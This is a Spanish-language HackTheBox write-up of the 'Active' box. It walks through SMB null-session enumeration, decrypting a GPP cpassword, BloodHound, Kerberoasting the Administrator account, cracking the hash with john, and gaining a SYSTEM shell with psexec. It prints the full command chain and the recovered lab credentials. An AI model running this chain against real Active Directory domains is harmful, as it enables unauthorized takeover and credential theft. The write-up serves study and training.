Info de la Box
| Plataforma | HackTheBox |
| Dificultad | Easy |
| OS | Windows Server 2008 R2 |
| Técnicas Clave | GPP Password Decryption, Kerberoasting, PsExec |
Resumen del Ataque
SMB null session → Replication share tiene acceso READ → encontramos Groups.xml con password encriptada por GPP → gpp-decrypt nos dio las creds de SVC_TGS → BloodHound mostró que Administrator tiene un SPN → Kerberoasting a Administrator → crackeamos con rockyou → psexec → Domain Admin.
Primera box de AD. Cadena completa desde cero creds hasta DA.
Enumeración
echo "10.129.3.112 active.htb" | sudo tee -a /etc/hosts
SMB — Null Session
nxc smb $ip -u '' -p '' --shares
# Replication share tiene acceso READ — esto es básicamente SYSVOL
Replication share legible con creds nulas. Ese es el punto de partida.
Foothold — GPP Passwords (Creds Gratis)
Navegamos el share Replication y encontramos el clásico ataque por GPP.
# Navegamos a: Policies → Preferences → Groups → Groups.xml
# Encontramos campo cpassword + username: active.htb\SVC_TGS
gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
# Resultado: GPPstillStandingStrong2k18
Primeras creds: SVC_TGS:GPPstillStandingStrong2k18
Lo que pasa con las GPP passwords — Microsoft publicó la clave AES usada para encriptar el campo cpassword. Entonces gpp-decrypt lo crackea al instante. No es ni fuerza bruta, es solo descifrar con una clave conocida. Creds gratis.
BloodHound
bloodhound-python -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -ns 10.129.3.112 -d active.htb -c All
# Encontró 5 usuarios, 41 grupos, 2 GPOs
# Subimos los archivos JSON a BloodHound CE en localhost:8080
BloodHound mostró que la cuenta Administrator tiene un SPN configurado (active/CIFS:445). Eso significa que es Kerberoasteable.
Escalación de Privilegios — Kerberoasting
Cualquier usuario autenticado del dominio puede solicitar service tickets para cuentas con SPNs. El ticket está encriptado con el hash de la password de la cuenta — crackeás el ticket, crackeás la password.
impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.3.112 -request -outputfile kerberoast.txt
# Encontrado: Administrator con SPN active/CIFS:445
# Obtuvimos hash krb5tgs
john kerberoast.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Crackeado: Ticketmaster1968
Creds de Domain Admin: Administrator:Ticketmaster1968
Shell como SYSTEM
impacket-psexec active.htb/Administrator:'Ticketmaster1968'@10.129.3.112
Listo.
Credenciales
| Username | Password | Origen | Alcance |
|---|---|---|---|
| SVC_TGS | GPPstillStandingStrong2k18 | GPP Groups.xml | Domain user |
| Administrator | Ticketmaster1968 | Kerberoasting | Domain Admin |
Lo que Aprendí
GPP passwords en shares SYSVOL/Replication — cualquier usuario del dominio (o incluso null session) puede leer archivos XML de Group Policy Preferences. El campo cpassword usa una clave AES publicada. Siempre hay que revisar esto.
Kerberoasting — cualquier usuario autenticado puede solicitar TGS tickets para cuentas con SPNs. Si la password es débil, crackeás el ticket offline. Que el Administrator tuviera un SPN fue el golpe final acá.
La cadena de AD del eCPPTv3 funciona en boxes reales: Setup → encontrar creds (GPP) → BloodHound → Kerberoasting → crackear → psexec → Domain Admin.
Patrón: “Acceso SMB null + share SYSVOL/Replication = revisar GPP passwords inmediatamente. Después BloodHound a todo.”